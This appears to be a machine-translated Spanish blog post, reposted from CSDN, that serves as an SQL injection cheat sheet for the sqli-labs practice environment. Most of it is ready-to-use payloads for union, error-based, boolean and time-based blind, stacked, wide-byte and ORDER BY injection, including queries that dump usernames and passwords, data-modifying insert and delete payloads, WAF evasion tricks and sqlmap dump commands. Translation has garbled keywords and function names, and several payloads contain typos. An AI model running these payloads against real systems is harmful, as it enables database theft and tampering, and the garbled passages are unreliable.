Declaración de inyección SQL (detalles)

Principios de inyección SQL

 

  1. Parámetros controlables por el usuario: el contenido de los parámetros pasados ​​desde el front-end al back-end es controlable por el usuario.

  2. Los parámetros se incorporan a la consulta de la base de datos: los parámetros pasados ​​se unen en la declaración SQL y se incorporan a la consulta de la base de datos.

Cuando el parámetro de identificación pasado es 1 ', el código ejecutado por la base de datos es el siguiente

select * from users where id=1'

Esto no cumple con la especificación de sintaxis de la base de datos, por lo que se informará un error. Cuando el parámetro del ID entrante es y 1=1, la declaración ejecutada es

select * from users where id=1 and 1=1

Debido a que 1=1 es verdadero y id=1 en la declaración donde también es verdadero, la página devuelve el mismo resultado que id=1. Cuando el parámetro de ID entrante es and1=2, dado que 1=2 no es verdadero, se devuelve falso y la página devolverá un resultado diferente a id=1.

1. Consulta conjunta

1. Determinar el punto de inyección.

#判断闭合符
?id=1\
#字符型判断
?id=1' and '1'='1   #页面运行正常
?id=1' and '1'='2   #页面运行不正常
#数字型判断 
?id=1' and 1=1 -- -  #页面运行正常
?id=1' and 1=2 -- -  #页面运行不正常
注入点注入符号 
引号型注入    '   单引号注入               "双引号注入
混合型注入    ')  单引号加括号注入   ")双引号加括号注入
括号注入      )     括号注入

La demostración es inyección de cadenas. Al devolver resultados diferentes, este sitio web puede tener una vulnerabilidad de inyección SQL.

2. Campos de consulta

?id=1' 
?id=1' order by 3
?id=1' order by 4

ordenar por consultas el número de campos en la tabla de datos

El resultado de acceder a id = 1 'orden por 3 es el mismo que el resultado de id = 1. El resultado de acceder a id = 1 'orden por 4 es diferente del resultado de id = 1.

Conclusión : el número de campos es 3

3. Determinar el punto de eco

?id=-1' union select 1,2,3

Construya una declaración basada en la cantidad de campos para determinar el eco

4.Información de consulta básica

#查询当前数据库
union select 1,database(),3   
#查询所有数据库
select group_concat(schema_name)  from  information_schema.schemata 
#查询指定数据库所有表数据
select group_concat(table_name)  from  information_schema.tables  where  table_schema='security'  
#查询指定数据库指定表的全部列数据
select group_concat(column_name) from information_schema.columns  where  table_schema='security'  and  table_name='users'
#查询指定数据库指定表的部分列数据
select column_name from information_schema.columns  where  table_schema='security'  and  table_name='users'  limit 0,1
#查询指定数据库指定表的指定列的字段值
select  group_concat(username,0x3a,password) from  security.users

2. Inyección de errores

El programa ingresa información de error en la página y utiliza la inyección de errores para obtener datos.

' and updatexml(1,concat(0x7e,(select user()),0x7e),1)  -- +

1.función substr()

Utilice la función substr para leer el contenido de salida pieza por pieza

substr("123456",1,5)   #12345

2. Declaración de consulta

La declaración de consulta es la misma que la inyección de unión y solo se muestra un resultado al informar un error.

#获取 列的字段数
id=1' union select 1,2,3  #回显 you are in...
id=1' union select 1,2,3,4   
#回显 The used SELECT statements have a different number of columns     

#获取当前数据库库名
and updatexml(1,concat(0x7e,(select database()),0x7e),1)  -- +
#获取所有数据库库名
and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)--+
and updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),32,63),0x7e),1)--+
#获取指定数据库的所有表名
and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)--+
#获取指定数据库的指定表下的列数据
and updatexml(1,concat(0x7e,substring((select group_concat(column_name) from information_schema.column where table_schema='security' and table_name='TKbvbxDK'),1,31),0x7e),1)--+
#获取指定数据库的指定表名指定列下的字段值
and updatexml(1,concat(0x7e,substring((select group_concat(id,0x3a,flag) from security.TKbvbxDK),64,95),0x7e),1)--+

3. Inyección ciega booleana

1.función de longitud ()

Determinar la longitud de la base de datos ()

' and length(database())>=1 --+

2.función substr()

' and substr(database(),1,1)='t' -- +

Función 3.ord()

Función ord(): convertir a código ascii

' ord(substr(database(),1,1))=115 -- +

4. Declaración de consulta

#判断数据库长度
and length(database())=8 --+
and length(database())>=9 --+
#指定字符一位一位判断截取到的字符
and substr(database(),1,1)='a' -- +
and substr(database(),2,1)='q' -- +
#使用ascii码比对截取到的字符
and ascii(substr(database()1,1))=114  -- +
and ascii(substr(database()1,1))=115  -- +
#查询表名
and substr((select  table_name  from  information_schema.tables  where  table_schema='security' limit 0,1 )='e'  -- +

4. Inyección a ciegas en el tiempo

Para la inyección GET, dado que el valor de id en sí es verdadero, el operador and se utiliza para determinar el punto de inyección.

El nombre uname de la inyección POST en sí es falso. Utilice el operador o para determinar el punto de inyección.

Determinar el método de cierre.

and sleep(5)   -- -

Número de campos de juicio 3

order  by  3
order  by  4

if("expresión", condición 1, condición 2,) if(1=2,1,0)-->0

if(length(database())>=1,sleep(5),1)

1.función de retraso del sueño ()

dormir (5) # Retraso en la carga de la página durante 5 segundos

if(length(database())>=1,sleep(5),1)

2. Declaración de consulta

#判断数据库名称
and if(length(database())=1,sleep(5),1)  -- - 
and if(length(database())=1,sleep(5),1)  -- - 
#使用subsre函数比对截取到的字符
and if(substr(database(),1,1)='s',sleep(5),1)  -- +
#使用ascii码比对截取到的字符
and if(ascii(substr(database(),1,1))=115,sleep(5),1)  -- +
#查询当前数据库下的表数据
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=85,sleep(5),1 -- -
#查询当前数据库下的指定表数据的列数据
and if(ascii(substr((select column_name from information_schema.columns  where  table_schema='security'  and  table_name='8LPD9XiO'  limit 0,1),1,1))=105,slepp(5),1 -- -
#查询当前数据库下的指定表数据的列数据的字段值
and  if(ascii(substr((select  group_concat(id,0x3a,flag) from security.8LPD9XiO),1,1))=115,1,sleep(5)) --+

5. Inyección de pila

';select if(substr(user(),1,1)='r',sleep(3),1)%23

Al construir diferentes declaraciones de inyección de tiempo, puede obtener el nombre completo de la base de datos, el nombre de la tabla, el nombre del campo y datos específicos.

1. Declaración de consulta

#获得MySQL当前用户
;select if(substr(user(),1,1)='r',sleep(3),1)%23
#获得数据库表名
;select if(substr((select  table_name  from  information_schema.tables  where  table_schema=database() limit 0,1),1,1)='e',sleep(3),1)%23

2. Utilice inyección conjunta

#判断注入点  单引号注入
?id=1'  and 1=1-- - HTTP/1.1
?id=1'  and 1=2-- - HTTP/1.1
#判断字段数目  3
?id=1'  order by 3 -- - HTTP/1.1
?id=1'  order by 4 -- - HTTP/1.1  #Unknown column '4' in 'order clause'
#判断回显位  2,3
?id=-1'  union select 1,2,3 -- - HTTP/1.1
#查询当前数据库
?id=-1'  union select 1,database(),3 -- - HTTP/1.1
#查询当前数据库下所有表信息
?id=-1'  union select 1,(select  group_concat(table_name)  from  information_schema.tables  where  table_schema='security' ),3 -- - HTTP/1.1
#查询当前数据库下指定表下的列信息
?id=-1'  union select 1,(select group_concat(column_name) from information_schema.columns  where  table_schema='security'  and  table_name='users'),3 -- - HTTP/1.1

3. Utilice la inyección de pila para insertar datos en el usuario.

#插入用户密码数据
?id=1';insert into users(id,username,password) values(66,'aiyou','bucuo') --+
#插入当前数据库数据
?id=1';insert into users(id,username,password) values(67,database(),'bucuo') --+
#查询当前数据库信息下方查询方式同等    ?id=67 
----------------------------------------
#插入查询所有表的所有数据,但数据仍显示不全
?id=1';insert into users(id,username,password) values(72,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 ) ,'buuck') --+
#插入当前数据库下的指定表数据
?id=1';insert into users(id,username,password) values(71,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 2,1) ,(select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1)) --+
#插入当前数据库下的指定表数据的列数据
?id=1';insert into users(id,username,password) values(74,(select column_name from information_schema.columns where table_name="users" limit 13,1) ,(select column_name from information_schema.columns where table_name="users" limit 12,1)) --+
#删除数据
?id=1';delete from users where id=74 and sleep(if((select database())=0x7365637572697479,5,0));

6. Inyección de bytes amplios

1. Declaración de consulta

#判断是否存在注入
id=1%df' and 1=1%23
id=1%df' and 1=2%23
#查询字段数量   3
id=1%df' order by 3%23
id=1%df' order by 4%23  #Unknown column '4' in 'order clause'
#union注入
id=-1%df' union select 1,2,3%23
#查询当前数据库名
id=-1%df' union select 1,database(),3%23
#查询所有数据库
select group_concat(schema_name) from information_schema.schemata
#查询当前数据库部分表名
select table_name from information_schema.tables where table_schema=(select database()) limit 0,1
#查询当前数据库所有表名
select group_concat(table_name) from information_schema.tables where table_schema=(select database()) 
#查询指定数据库指定表名下的部分列名
select column_name from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1) limit 0,1
#查询指定数据库指定表名下的所有列名
select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database()) limit 0,1)
#查询指定数据库指定表名下的所有列名的字段值
id=-1%df' union select  1,(select group_concat(id,flag) from security.GGXSsnCj),3%23

7. Inyección después del pedido por

① Inyectar declaraciones directamente, ?sort=(select)

②Utilice algunas funciones. Por ejemplo, la función rand(), etc. ?sort=rand(sentencia sql)

③Utilice y, por ejemplo?sort=1 y (declaración SQL)

④Los resultados de rand(true) y rand(false) son diferentes. Puede utilizar esta propiedad para inyectar

?sort=right(version(),1)

1. Utilice la inyección de errores

#查询当前用户
?sort=(select extractvalue(0x7e,concat(0x7e,user(),0x7e)))
#查询当前数据库
?sort=(select extractvalue(0x7e,concat(0x7e,database(),0x7e)))
#查询当前数据库下的部分表数据
?sort=(select extractvalue(0x7e,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e)))
#查询当前数据库下的指定表的列数据
?sort=(select extractvalue(0x7e,concat(0x7e,substring((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='TKbvbxDK'),1,31),0x7e)))

2. Utilice rand (verdadero) y rand (falso)

?sort=rand(ascii(left(database(),1))=115)
?sort=rand(ascii(left(database(),1))=116)

3. Utilice inyección retardada

#查询当前数据库
?sort=1 and (if(length(database())>2,sleep(5),1) ) -- -
#查询当前数据库下的表数据
?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=100, sleep(5), 1)-- +
#查询当前数据库下的指定表数据的列数据
?sort= 1 and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>100, 0, sleep(5))-- +

4. Uso y

#查询当前数据库
?sort=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)  -- +
#查询当前数据库下的表
?sort=1 and updatexml(1,concat(0x7e,substring((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)  -- +

Puntos clave: métodos comunes de derivación de Waf

1. Bypass de caso

y y o o

2.Omitir doble escritura

seleccione -----seleccione

y-----aandnd

unión-----unionnion

3. Omisión de codificación

Codificación hexadecimal, codificación URL, byte ancho, codificación Unicode

Formato de codificación formulario de codificación
codificación de URL %66%72%20%31%3d%31(y 1=1)
Codificación Unicode n%u0069on

4. Método de derivación de espacio

/**/ 、 ()、+、%20、%09、%0a、0x0a、0x0b、0x0c、0x0d

5. Caracteres equivalentes y funciones equivalentes

filtrado de y o xor

  1. y => &&

  2. o => ||

  3. xor => ^

  4. no => !

6. Función equivalente

hexadecimal()、 bin()==>ascii()

concat_ws()==>grupo_concat()

dormir()==>punto de referencia()

mid()、substr()==>subcadena()

@@usuario==usuario()

@datadir==datadir()

Resumir las principales declaraciones de consulta.

#爆当前数据库
select 1,database(),3   
#爆所有数据库
select  group_concat(schema_name)  from  information_schema.schemata 
#爆所有表数据
select  group_concat(table_name)  from  information_schema.tables  where  table_schema='security'  
#爆部分表数据
select  table_name  from  information_schema.tables  where  table_schema='security' limit 0,1
#爆所有字段数据
select group_concat(column_name) from information_schema.columns  where  table_schema='security'  and  table_name='users'
#爆字段数据
select column_name from information_schema.columns  where  table_schema='security'  and  table_name='users'  limit 0,1
#爆字段值
select  group_concat(username,0x3a,password) from  security.users

Uso de la herramienta SQLMAP

Paso 1: determinar si hay un punto de inyección

sqlmap.py -u "http://localhost/sql/Less-1/?id=1"

 Paso 2: consultar la base de datos

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" --dbs

 Paso 3: ver la base de datos actual

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" --current-db

 Paso 4: enumerar todas las tablas en la base de datos especificada

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "seguridad" --tables

Paso 5: leer los nombres de los campos en la tabla especificada

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "seguridad" -T usuarios --colunms

 Paso 6: leer el contenido del campo especificado

sqlmap.py -u "http://localhost/sql/Less-1/?id=1" -D "seguridad" -T usuarios -C nombre de usuario, contraseña --dump

Supongo que te gusta

Origin blog.csdn.net/m0_64118193/article/details/125104102
Recomendado
Clasificación